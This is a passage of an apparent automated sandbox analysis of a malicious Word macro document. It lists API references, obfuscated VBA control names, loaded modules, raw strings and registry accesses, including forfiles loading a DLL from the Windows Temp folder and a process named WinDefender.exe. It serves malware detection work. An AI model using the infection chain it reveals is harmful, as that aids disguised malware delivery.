(Indicator: "IsWindowVisible"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetKeyState"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetWindowThreadProcessId"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "IsChild"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CharLowerW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DeleteObject"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetStockObject"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SelectObject"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetObjectW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CreateCompatibleDC"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "DeleteDC"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetDIBits"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "BitBlt"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "GetUserNameW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "ShellExecuteExW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "SHGetPathFromIDListW"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "closesocket"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "WSACleanup"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "WSAStartup"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "inet_addr"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "gethostbyname"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "htons"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "ioctlsocket"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "__WSAFDIsSet"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "recvfrom"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp") Found reference to API (Indicator: "CoTaskMemFree"; Source: "00000000-00001232.00000000.181966.00410000.00000004.mdmp, 00000000-00001232.00000002.185813.00410000.00000004.mdmp")35:T6a5,Normalized macro string: "vbFrmCPjSxlW4376.lstSDFQMWjW587.Tag" Normalized macro string: "vbFrmCPjSxlW4376.lblaAkcIFGq4480.ControlTipText" Normalized macro string: "vbFrmQLVvXOd4480.cmbCwbWxSU4236.Text" Normalized macro string: "vbFrmLFgyz4236.opbtnhkQilTt3155.Tag" Normalized macro string: "vbFrmQLVvXOd4480.opbtnEDjWxNF4376.ControlTipText" Normalized macro string: "vbFrmyMRHx3155.imggtCPxEz4169.ControlTipText" Normalized macro string: "vbFrmLFgyz4236.cmbSQLeYXmJ4299.Text" Normalized macro string: "vbFrmQLVvXOd4480.lstzgNiaEI2828.ControlTipText" Normalized macro string: "vbFrmCPjSxlW4376.cmbOJCtk3877.Tag" Normalized macro string: "vbFrmLFgyz4236.frameOricA1498.ControlTipText" Normalized macro string: "vbFrmQLVvXOd4480.chkkAXXpl1099.ControlTipText" Normalized macro string: "vbFrmomlpkL587.frameWBpOPQuM3639.ControlTipText" Normalized macro string: "vbFrmQLVvXOd4480.chkeuvkSIsW2316.Tag" Normalized macro string: "vbFrmyMRHx3155.framehjwnhKO1967.Tag" Normalized macro string: "vbFrmCPjSxlW4376.tabbpQVKthG2304.Tag" Normalized macro string: "vbFrmomlpkL587.chkoABMo3641.ControlTipText" Normalized macro string: "vbFrmCPjSxlW4376.txthpKk3677.Tag" Normalized macro string: "vbFrmQLVvXOd4480.txtrTTMH4260.Text" Normalized macro string: "vbFrmyMRHx3155.lblClHk2682.ControlTipText" Normalized macro string: "vbFrmyMRHx3155.txtWmwW725.ControlTipText" Normalized macro string: "vbFrmyMRHx3155.togbtnupXlQ4629.ControlTipText" Normalized macro string: "vbFrmomlpkL587.lstWiFGrRP3507.Tag" Normalized macro string: "vbFrmomlpkL587.opbtnDoHF2275.Tag" Normalized macro string: "vbFrmyMRHx3155.tabPGby1558.ControlTipText" Normalized macro string: "vbFrmQLVvXOd4480.btnDcYL4941.Caption"36:T2421,"WINWORD.EXE" loaded module "MSO.DLL" at base edb80000 "WINWORD.EXE" loaded module "COMCTL32.DLL" at base fbd80000 "WINWORD.EXE" loaded module "KERNEL32.DLL" at base 77550000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\CULTURES\OFFICE.ODF" at base f6de0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\1033\WWINTL.DLL" at base f0500000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base fb8d0000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\1033\MSOINTL.DLL" at base f0290000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSORES.DLL" at base e1d50000 "WINWORD.EXE" loaded module "CRYPTBASE.DLL" at base fd1c0000 "WINWORD.EXE" loaded module "IMM32.DLL" at base fd9f0000 "WINWORD.EXE" loaded module "DWMAPI.DLL" at base fb320000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base fd780000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 77550000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\MSPTLS.DLL" at base efe30000 "WINWORD.EXE" loaded module "UXTHEME.DLL" at base fb8d0000 "WINWORD.EXE" loaded module "ADVAPI32.DLL" at base fd780000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\RICHED20.DLL" at base efc60000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCOREE.DLL" at base f1b20000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f91a0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "WINWORD.EXE" loaded module "KERNEL32" at base 77550000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "WINWORD.EXE" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base f19e0000 "WINWORD.EXE" loaded module "SHLWAPI.DLL" at base 330000 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 0 "WINWORD.EXE" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-0.DLL" at base 0 "WINWORD.EXE" loaded module "VERSION.DLL" at base fc440000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICESOFTWAREPROTECTIONPLATFORM\OSPPC.DLL" at base 72370000 "WINWORD.EXE" loaded module "RPCRT4.DLL" at base fe0c0000 "WINWORD.EXE" loaded module "WINSPOOL.DRV" at base f93b0000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base ff130000 "WINWORD.EXE" loaded module "SHELL32.DLL" at base fe3a0000 "WINWORD.EXE" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77550000 "WINWORD.EXE" loaded module "POWRPROF.DLL" at base fbc70000 "WINWORD.EXE" loaded module "OLE32.DLL" at base fde70000 "WINWORD.EXE" loaded module "USER32.DLL" at base 77450000 "WINWORD.EXE" loaded module "OLEAUT32.DLL" at base ff150000 "WINWORD.EXE" loaded module "CLBCATQ.DLL" at base ff6f0000 "WINWORD.EXE" loaded module "SETUPAPI.DLL" at base ff7a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base fbad0000 "WINWORD.EXE" loaded module "NTMARTA.DLL" at base fc410000 "WINWORD.EXE" loaded module "API-MS-WIN-SECURITY-LSALOOKUP-L1-1-0.DLL" at base ff130000 "WINWORD.EXE" loaded module "CRYPTSP.DLL" at base fcb50000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base fc850000 "WINWORD.EXE" loaded module "RPCRTREMOTE.DLL" at base fd2b0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSXML6.DLL" at base f8d70000 "WINWORD.EXE" loaded module "PROFAPI.DLL" at base fd360000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\OLE32.DLL" at base fde70000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-ADVAPI32-L1-1-0.DLL" at base fd710000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\URLMON.DLL" at base fd860000 "WINWORD.EXE" loaded module "API-MS-WIN-DOWNLEVEL-SHLWAPI-L1-1-0.DLL" at base fd630000 "WINWORD.EXE" loaded module "SECUR32.DLL" at base fcf60000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\GKWORD.DLL" at base ef590000 "WINWORD.EXE" loaded module "GDI32.DLL" at base fdd70000 "WINWORD.EXE" loaded module "%COMMONPROGRAMFILES%\MICROSOFT SHARED\OFFICE14\USP10.DLL" at base 722a0000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base fe3a0000 "WINWORD.EXE" loaded module "LINKINFO.DLL" at base f7b10000 "WINWORD.EXE" loaded module "NTSHRUI.DLL" at base f3450000 "WINWORD.EXE" loaded module "SRVCLI.DLL" at base fcdd0000 "WINWORD.EXE" loaded module "CSCAPI.DLL" at base f7fd0000 "WINWORD.EXE" loaded module "SLC.DLL" at base fb060000 "WINWORD.EXE" loaded module "SXS.DLL" at base fd1d0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\VBE7.DLL" at base 71f10000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\COMMON~1\MICROS~1\VBA\VBA7\1033\VBE7INTL.DLL" at base 65300000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FM20.DLL" at base 71d80000 "WINWORD.EXE" loaded module "COMCTL32" at base fbd80000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FM20ENU.DLL" at base 71d70000 "WINWORD.EXE" loaded module "RICHED20.DLL" at base efc60000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\MSCTF.DLL" at base fe1f0000 "WINWORD.EXE" loaded module "VBE7.DLL" at base 71f10000 "WINWORD.EXE" loaded module "SHELL32" at base fe3a0000 "WINWORD.EXE" loaded module "PROPSYS.DLL" at base fbad0000 "WINWORD.EXE" loaded module "APPHELP.DLL" at base fd160000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\IEFRAME.DLL" at base f0b40000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fd160000 "WINWORD.EXE" loaded module "GDIPLUS.DLL" at base fb6b0000 "WINWORD.EXE" loaded module "%WINDIR%\WINSXS\AMD64_MICROSOFT.WINDOWS.GDIPLUS_6595B64144CCF1DF_1.1.7601.23894_NONE_145EB2808B8D6928\GDIPLUS.DLL" at base fb6b0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\USP10.DLL" at base 0 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSPROOF7.DLL" at base f21d0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\1033\MSGR3EN.DLL" at base e1830000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\PROOF\MSSP7EN.DLL" at base ef3d0000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\\MSCSS7EN.DLL" at base f4240000 "WINWORD.EXE" loaded module "CSS7DATA0009.DLL" at base ef970000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7CM_EN.DUB" at base fa030000 "WINWORD.EXE" loaded module "%PROGRAMFILES%\MICROSOFT OFFICE\OFFICE14\MSCSS7WRE_EN.DUB" at base f4770000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\X64\3\UNIDRVUI.DLL" at base eda50000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\X64\3\SENDTOONENOTEUI.DLL" at base f4770000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\SPOOL\DRIVERS\X64\3\MXDWDRV.DLL" at base ed990000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base f4730000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base f2270000 "WINWORD.EXE" loaded module "%WINDIR%\SYSTEM32\FONTSUB.DLL" at base f4aa0000 "PING.EXE" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f91a0000 "PING.EXE" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "PING.EXE" loaded module "KERNEL32" at base 77550000 "PING.EXE" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base fcaf0000 "PING.EXE" loaded module "%WINDIR%\SYSTEM32\WSHTCPIP.DLL" at base fc510000 "forfiles.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base f91a0000 "forfiles.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 0 "forfiles.exe" loaded module "KERNEL32" at base 77550000 "forfiles.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 0 "forfiles.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base f42c0000 "forfiles.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fd160000 "cmd.exe" loaded module "KERNEL32.DLL" at base 77550000 "cmd.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base fd160000 "WinDefender.exe" loaded module "IPHLPAPI.DLL" at base 74730000 "WinDefender.exe" loaded module "KERNEL32.DLL" at base 77030000 "WinDefender.exe" loaded module "OLE32.DLL" at base 755f0000 "WinDefender.exe" loaded module "API-MS-WIN-SECURITY-SDDL-L1-1-0.DLL" at base 763d0000 "WinDefender.exe" loaded module "PROFAPI.DLL" at base 769c0000 "WinDefender.exe" loaded module "CRYPTBASE.DLL" at base 750e0000 "WinDefender.exe" loaded module "COMCTL32.DLL" at base 74530000 "WinDefender.exe" loaded module "OLEAUT32.DLL" at base 76f10000 "WinDefender.exe" loaded module "ADVAPI32.DLL" at base 75540000 "WinDefender.exe" loaded module "CLBCATQ.DLL" at base 76550000 "WinDefender.exe" loaded module "%WINDIR%\SYSTEM32\PROPSYS.DLL" at base 73a50000 "WinDefender.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 77030000 "WinDefender.exe" loaded module "SETUPAPI.DLL" at base 76aa0000 "WinDefender.exe" loaded module "RPCRT4.DLL" at base 76dd0000 "WinDefender.exe" loaded module "NTMARTA.DLL" at base 73a20000 "WinDefender.exe" loaded module "SHELL32.DLL" at base 75750000 "WinDefender.exe" loaded module "DHCPCSVC.DLL" at base 73d7000037:T4bf,"130014006161020010f5700200000000@RPCRT4.dll" "0d000e00fe070000f0514af2fe070000@IPHLPAPI.DLL" "0f001000fe07000050524af2fe070000@IPHLPAPI.DLL" "0c000d00fe070000a0524af2fe070000@IPHLPAPI.DLL" "15001600fe07000078444af2fe070000@ADVAPI32.dll" "0e000f00fe07000030454af2fe070000@ADVAPI32.dll" "0e000f00fe07000090454af2fe070000@ADVAPI32.dll" "11001200fe070000f04d4af2fe070000@ADVAPI32.dll" "11001200fe070000884e4af2fe070000@ADVAPI32.dll" "12001300fe070000d04e4af2fe070000@ADVAPI32.dll" "12001300fe070000304f4af2fe070000@ADVAPI32.dll" "14001500fe07000090734af2fe070000@ADVAPI32.dll" "14001500fe070000a8734af2fe070000@ADVAPI32.dll" "14001500fe070000c0734af2fe070000@ADVAPI32.dll" "17001800fe070000d8734af2fe070000@ADVAPI32.dll" "0d000e00fe070000f0734af2fe070000@ADVAPI32.dll" "0f001000fe07000038754af2fe070000@ADVAPI32.dll" "14001500fe07000078754af2fe070000@ADVAPI32.dll" "14001500fe07000090754af2fe070000@ADVAPI32.dll" "0c000d00fe070000d8754af2fe070000@ADVAPI32.dll" "0c000d00fe070000e8754af2fe070000@ADVAPI32.dll" "0e000f00fe070000f8754af2fe070000@ADVAPI32.dll" "18001900fe07000078774af2fe070000@RPCRT4.dll" "13001400fe070000a8774af2fe070000@RPCRT4.dll" "14001500fe070000c0774af2fe070000@RPCRT4.dll"38:T123c,Observed system executable string:"!"#$%&'()*+,-./012345689:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdfhijklmnopqrstuvwxyz{|}~G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#C:\Windows\system32\FM20.DLL\2#Microsoft Forms 2.0 Object Library*#46*\R0*#f$*\Rffff*09637f927f$*\Rffff*0:637f927f$*\Rffff*0;637f927f*\G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#C:\Windows\system32\FM20.DLL\2#Microsoft Forms 2.0 Object Library*#44*\G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#C:\Windows\system32\FM20.DLL\2#Microsoft Forms 2.0 Object Library*#28*\G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#C:\Windows\system32\FM20.DLL\2#Microsof02bp(.j0N ####ShellExecuteAp"Fe~&^ZNuG{$G+TxG{$G+T"Fe~&^ME@S"SS">""LL"LL"L"L"LLLLL<<<<<<<<(1Normal.ThisDocument 0%pp%$%+@p iB(iDHiFhiHiJiLP8`(k" [Source: df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8.bin], Observed system executable string:"P~c$*\Rffff*06637f927e$*\Rffff*07637f927f*\G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#C:\Windows\system32\FM20.DLL\2#Microsoft Forms 2.0 Object Library*#26$*\Rffff*08637f927f*\t Forms 2.0 Object Library*#41*\R0*#17*\R0*#12*\R0*#f*\G{AC2DE821-36A2-11CF-8053-00AA006009FA}#2.0#0#C:\Windows\system32\FM20.DLL\2#Microsoft Forms 2.0 Object Library*#47`0H@" (08&0fXz@HP"X``"hpx" [Source: df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8.bin], Observed system executable string:".`MB.jThisDocumenPtGTisD@kcuQen2E`H1x(",""+CHodule1*GDHozuz12@($!vbFrmCPjSxlW4376Gvvb XAyCPjYx@W4Y76q2`oD m>#$'$QLVvXOd4480a*\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA7.1\VBE7.DLL#Visual Basic For Applications*\G{00020905-0000-0000-C000-000000000046}#8.7#0#C:\Program Files\Microsoft Office\Office16\MSWORD.OLB#Microsoft Word 16.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\System32\stdole2.tlb#OLE Automation*\CNormal*\CNormal~c(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.8#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE16\MSO.DLL#Microsoft Office 16.0 Object Library*\G{0D452EE1-E08F-101A-852E-02608C4D0BB4}#2.0#0#C:\Windows\system32\FM20.DLL#Microsoft Forms 2.0 Object Library*\G{76589AF6-DD8A-4090-B96D-4867CF51B20B}#2.0#0#C:\Users\user\AppData\Local\Temp\VBE\MSForms.exd#Microsoft Forms 2.0 Object Library.E" [Source: df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8.bin], Observed system executable string:".`MC:\Windows\system32\FM20.DLLMSForms" [Source: df0c7bb88e3c67d849d78d13cee30671b39b300e0cda5550280350775d5762d8.bin], Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00004320-00000C25-1802569960], Observed system executable string:"%WINDIR%\system32\ADVAPI32.DLL" [Source: 00000000-00004320-00000C25-1803236737], Observed system executable string:"%WINDIR%\system32\KERNEL32.DLL" [Source: 00000000-00004320-00000C25-1803287204], Observed system executable string:"%WINDIR%\system32\mscoree.dll" [Source: 00000000-00004320-00000C25-1803623542], Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004320-00000C25-1803947950], Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll" [Source: 00000000-00004320-00000C25-1804688264], Observed system executable string:"%WINDIR%\System32\msxml6r.dll" [Source: 00000000-00004320-00000C25-1806971851], Observed system executable string:"%WINDIR%\system32\kernel32.dll" [Source: 00000000-00004320-00000C25-1807026220], Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00004320-00000C25-1807291962], Observed system executable string:"%WINDIR%\system32\fm20ENU.DLL" [Source: 00000000-00004320-00000C25-1814279783], Observed system executable string:"%WINDIR%\system32\FM20.DLL" [Source: 00000000-00004320-00000C25-1814667801], Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00004320-00000C25-1818960005], Observed system executable string:"%WINDIR%\WinSxS\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_145eb2808b8d6928\GdiPlus.dll" [Source: 00000000-00004320-00000C25-1819732282], Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\x64\3\unidrvui.dll" [Source: 00000000-00004320-00000C25-1865248057], Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\x64\3\SendToOneNoteUI.DLL" [Source: 00000000-00004320-00000C25-1865334763], Observed system executable string:"%WINDIR%\system32\spool\DRIVERS\x64\3\mxdwdrv.dll" [Source: 00000000-00004320-00000C25-1865973675], Observed system executable string:"%WINDIR%\system32\FontSub.dll" [Source: 00000000-00004320-00000C25-1866594587]39:Tb90,"WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{0875DCB6-C686-4243-9432-ADCCF0B9F2D7}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{11016101-E366-4D22-BC06-4ADA335C892B}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{138508BC-1E03-49EA-9C8F-EA9E1D05D65D}"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\DESKTOP\NAMESPACE"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\SESSIONINFO\1\DESKTOP\NAMESPACE\DELEGATEFOLDERS"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\CLASSES\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\CLSID\{208D2C60-3AEA-1069-A2D7-08002B30309D}\SHELLFOLDER"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "") "WINWORD.EXE" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\POLICIES\NONENUM"; Key: ""; Value: "")3a:T10d6,"WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\SIDEBYSIDE"; Key: "PREFEREXTERNALMANIFEST"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{031E4825-7B94-4DC3-B131-E946B44C8DD5}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\DESKTOP\NAMESPACE\{04731B67-D933-450A-90E6-4ACD2E9408FE}"; Key: "SUPPRESSIONPOLICY"; Value: "") "WINWORD.EXE" (Access type: "QUERYVAL"; Path: 